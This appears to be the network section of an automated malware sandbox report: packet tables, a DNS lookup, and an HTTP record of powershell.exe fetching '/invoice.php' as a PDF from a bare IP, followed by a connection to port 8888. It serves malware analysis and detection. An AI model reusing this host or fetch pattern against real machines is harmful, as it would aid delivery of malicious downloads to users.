Jan 11, 2025 07:47:07.054837942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.054863930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.054879904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.054893017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.054915905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.054927111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.054946899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.054960012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.054974079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.054980040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055016041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055016041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055016041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055599928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055612087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055632114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055638075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055646896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055663109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055664062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055677891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055696011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055700064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055713892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055728912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055732965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055757046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055762053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055763960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055783987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055793047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055800915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055814981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055833101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055841923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055846930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055866003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055869102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055883884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055901051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055903912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.055924892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.055929899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056001902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056013107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056034088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056039095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056065083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056067944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056080103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056098938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056107998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056123018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056154966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056221962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056237936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056255102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056268930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056271076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056287050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056298018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056632996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056643963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056662083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056674004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056677103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056690931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056700945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056714058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056734085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056737900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056767941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056790113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056806087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056818962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056828976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056837082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056852102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056864977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056869030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056885004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056900024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056901932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.056920052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.056936979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.081265926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.081276894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.081316948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.084779978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114218950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114248037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114262104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114276886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114285946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114305019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114317894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114332914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114356995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114366055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114398003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114470005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114480972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114499092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114515066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114547968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114557981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114583015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114588022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114598989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114609957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114614964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114644051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114798069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114811897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114829063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114844084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114849091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114864111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114880085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114880085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114907980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114943981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114957094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114974022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.114985943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.114989996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115006924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115022898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115201950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115216017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115231991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115240097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115263939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115283012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115297079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115320921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115324020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115485907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115518093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115590096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115606070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115621090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115633965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115637064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115652084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115664005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115670919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115701914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115741968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115757942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115772009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115784883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115789890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115803957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115818024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115825891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115837097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115855932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115859032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115873098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115883112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115890026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115906954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115920067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.115926981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.115955114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147201061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147228956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147244930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147281885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147296906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147310019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147330999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147355080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147356987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147367954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147392988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147408009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147409916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147425890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147437096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147470951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147495031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147507906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147519112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147533894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147551060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147551060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147567034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147582054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147744894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147758007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147774935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147778988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147799969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147806883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147819042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147835016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147849083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147852898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147877932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.147926092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147973061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.147985935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148008108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148060083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148071051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148091078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148092985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148123980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148190975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148205042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148221970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148237944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148248911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148269892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148293972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148308039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148324966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148339987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148340940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148369074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148542881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148554087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148575068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148595095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148629904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148641109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148659945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148667097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148688078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148706913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148777008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148791075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148811102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148812056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148838043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148842096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148855925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148869991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148885965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148895025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148900032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148916960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148919106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148932934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148946047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.148951054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.148988008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.206882954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.206899881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.206919909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.206933975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.206948042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.206957102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.206968069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.206978083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.206996918 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.206996918 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.253043890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.278383017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.515573025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.938961029 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.943891048 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:07.943972111 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.944159985 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:07.948868990 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:08.753740072 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:08.799926043 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:08.925494909 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:47:15.993546963 CET	61119	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:47:15.993546963 CET	192.168.2.8	1.1.1.1	0x225	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:47:16.001836061 CET	1.1.1.1	192.168.2.8	0x225	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:48:21.523669958 CET	1.1.1.1	192.168.2.8	0x6773	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:48:21.523669958 CET	1.1.1.1	192.168.2.8	0x6773	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	4040	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:47:05.558300972 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:47:06.368489027 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:47:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:47:06.368503094 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:47:06.368520975 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
